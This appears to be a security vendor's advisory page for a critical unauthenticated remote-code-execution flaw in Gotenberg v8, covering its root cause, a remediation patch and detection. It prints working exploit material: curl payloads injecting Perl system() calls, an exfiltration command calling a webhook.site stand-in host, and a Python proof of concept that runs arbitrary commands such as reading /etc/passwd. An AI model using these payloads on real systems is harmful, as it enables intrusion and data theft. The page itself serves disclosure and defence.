Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

GHSA-rqgh-gxv4-6657 v8

CRITICAL

GHSA-rqgh-gxv4-6657 is a critical-severity (CVSS 9.8) OS Command Injection vulnerability in github.com/gotenberg/gotenberg/v8. No vendor fix is recorded yet; mitigation options are listed below.

Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection

Also known asCVE-2026-42589GO-2026-5636
Published
May 7, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-rqgh-gxv4-6657.

EPSS Exploitation Probability

via FIRST.org ↗
3.0%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs87th percentile — riskier than 87% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-rqgh-gxv4-6657 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/gotenberg/gotenberg/v8

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection

Summary

Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring.

Vulnerability Details

FieldValue
ProductGotenberg
Version8.29.1 (default gotenberg/gotenberg:8)
Componentpdfengines/metadata/write endpoint
CWECWE-78 — Improper Neutralization of Special Elements used in an OS Command

Affected Code

Product: Gotenberg
Endpoint: /forms/pdfengines/metadata/write
Root cause: JSON metadata keys are passed to go-exiftool without control-character validation. The existing dangerousTags blocklist uses exact-match deletion and provides no defense against \n-embedded keys.

The injection occurs because go-exiftool writes each key to ExifTool's stdin as:

fmt.Fprintln(e.stdin, "-"+k+"="+str)   // k contains \n → splits into a new argument line

When k is Title\n-if\nsystem('cmd')||1\n-Comment, ExifTool's stdin becomes:

-Title
-if
system('cmd')||1
-Comment=x

ExifTool's -if flag evaluates its argument as a Perl expression, giving the attacker arbitrary code execution.

Why it's vulnerable: Gotenberg is the HTTP entry point. It controls what data enters go-exiftool. The dangerousTags blocklist (FileName, Directory) shows that the authors are aware that certain keys are dangerous, but the fix is incomplete: it uses exact string matching and does not strip or reject control characters in keys. This vulnerability exists entirely within Gotenberg's responsibility and is independently fixable without changing go-exiftool.

Attack Scenario

Threat actor: Unauthenticated remote attacker
Preconditions: Gotenberg port 3000 is reachable (common in internal/cloud deployments)

  1. Attacker sends a POST request to /forms/pdfengines/metadata/write with any valid PDF and a metadata JSON object whose key contains embedded newlines.
  2. Gotenberg deserializes the JSON key — \n is preserved as a literal newline in Go's map[string]any after json.Unmarshal.
  3. The key is forwarded to go-exiftool, which writes it verbatim to ExifTool's stdin, splitting it across multiple argument lines.
  4. ExifTool processes -if system('cmd')||1 as a Perl expression and executes cmd.
  5. The attacker exfiltrates output via an OOB HTTP callback. Response to the attacker is HTTP 200 with a valid PDF — no error signal.

Proof of Concept

# Write output of `id` to /tmp/pwned on the server
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F '[email protected];type=application/pdf' \
  --form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment": "x"}'
# → HTTP:200
# On server: uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)

OOB exfiltration via base64-encoded HTTP callback:

OOB="https://webhook.site/YOUR-ID"
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST http://TARGET:3000/forms/pdfengines/metadata/write \
  -F '[email protected];type=application/pdf' \
  --form-string "metadata={\"Title\n-if\nsystem('wget -q -O /dev/null \"${OOB}?c=\$(id|base64|tr -d \\\"=\\n\\\")\" 2>/dev/null')||1\n-Comment\": \"x\"}"
# Listener receives: GET /?c=dWlkPTEwMDEoZ290ZW5iZXJnKS4u
# Decode: echo dWlkPTEwMDEoZ290ZW5iZXJnKS4u | base64 -d → uid=1001(gotenberg)...

Self-contained Python PoC (auto-generates PDF from target, exfiltrates via OOB):

#!/usr/bin/env python3
"""
Usage: python3 poc.py <target> <oob_url> [command]
  python3 poc.py http://localhost:3000 https://webhook.site/YOUR-ID
  python3 poc.py http://10.0.0.5:3000 https://webhook.site/YOUR-ID "cat /etc/passwd"
"""
import sys, json, subprocess, urllib.request

def check_target(target):
    with urllib.request.urlopen(f"{target}/version", timeout=5) as r:
        print(f"[+] Gotenberg {r.read().decode().strip()} — target reachable")

def get_pdf(target):
    r = subprocess.run(["curl", "-s", "-X", "POST", f"{target}/forms/chromium/convert/url",
                        "-F", "url=https://example.com"], capture_output=True, timeout=30)
    assert r.stdout[:4] == b"%PDF", "Failed to generate PDF"
    print(f"[+] Got sample PDF ({len(r.stdout)} bytes)")
    return r.stdout

def exploit(target, pdf, oob, cmd):
    import tempfile, os
    key  = f'Title\n-if\nsystem(\'wget -q -O /dev/null "{oob}?c=$({cmd}|base64|tr -d "=\\n")" 2>/dev/null\')||1\n-Comment'
    meta = json.dumps({key: "x"})
    with tempfile.NamedTemporaryFile(suffix=".pdf", delete=False) as f:
        f.write(pdf); tmp = f.name
    try:
        r = subprocess.run(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
                            "-X", "POST", f"{target}/forms/pdfengines/metadata/write",
                            "-F", f"files=@{tmp};type=application/pdf",
                            "--form-string", f"metadata={meta}"],
                           capture_output=True, text=True, timeout=30)
        return int(r.stdout.strip())
    finally:
        os.unlink(tmp)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(__doc__); sys.exit(1)
    target, oob = sys.argv[1].rstrip("/"), sys.argv[2]
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    print(f"[*] Target: {target} | OOB: {oob} | Command: {cmd}")
    check_target(target)
    pdf    = get_pdf(target)
    status = exploit(target, pdf, oob, cmd)
    if status == 200:
        print(f"[+] HTTP {status} — payload fired, check OOB listener for: ?c=<base64({cmd})>")
        print(f"[!] Decode with: echo <value> | base64 -d")
    else:
        print(f"[-] HTTP {status} — unexpected response")

Expected output:

[*] Target: http://localhost:3000 | OOB: https://webhook.site/... | Command: id
[+] Gotenberg 8.29.1 — target reachable
[+] Got sample PDF (12345 bytes)
[+] HTTP 200 — payload fired, check OOB listener for: ?c=<base64(id)>

Impact

Full unauthenticated remote code execution as the Gotenberg process user (uid=1001(gotenberg), member of root group in the default Docker image). An attacker can read arbitrary files, write files, establish reverse shells, or pivot within the network. The attack requires no credentials and returns no error signal. Any deployment that exposes Gotenberg's port 3000 without an authenticating proxy is fully compromised by a single HTTP request.

Remediation

In Gotenberg's metadata handler, reject any key containing control characters before passing it to go-exiftool:

import "strings"

for key := range metadata {
    if strings.ContainsAny(key, "\n\r\x00") {
        return fmt.Errorf("invalid metadata key %q: control characters not allowed", key)
    }
}

Operators should also place Gotenberg behind an authenticated reverse proxy and never expose port 3000 directly to untrusted networks.

Note: A companion advisory covers the same class of injection at the go-exiftool library layer (independently fixable — see go-exiftool advisory).

Timeline

DateEvent
2026-04-04Vulnerability discovered
2026-04-04RCE confirmed — local file write + OOB HTTP
2026-04-04Report drafted for disclosure
2026-04-08Split into separate per-product advisories

Resources

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gotenberg/gotenberg/v8all versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/gotenberg/gotenberg/v8 has shipped for GHSA-rqgh-gxv4-6657 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-rqgh-gxv4-6657 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-rqgh-gxv4-6657. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

How to detect GHSA-rqgh-gxv4-6657

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id ghsa-rqgh-gxv4-6657 -u https://target
Template
Gotenberg - Command Injection
Severity
critical
Impact
Unauthenticated attackers can execute arbitrary OS commands remotely, potentially leading to full system compromise.
Remediation
Update to version 8.31.0 or later.

Template by ProjectDiscovery nuclei-templates (fineman999), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

# Unauthenticated RCE in Gotenberg via Metadata Key Newline Injection ## Summary Gotenberg's `/forms/pdfengines/metadata/write` HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A `\n` embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags — including `-if`, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a va
O3 Security · Impact-Aware SCA

Is GHSA-rqgh-gxv4-6657 in your dependencies?

O3 Security finds GHSA-rqgh-gxv4-6657 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-rqgh-gxv4-6657: v8 RCE (Critical 9.8) | O3 Security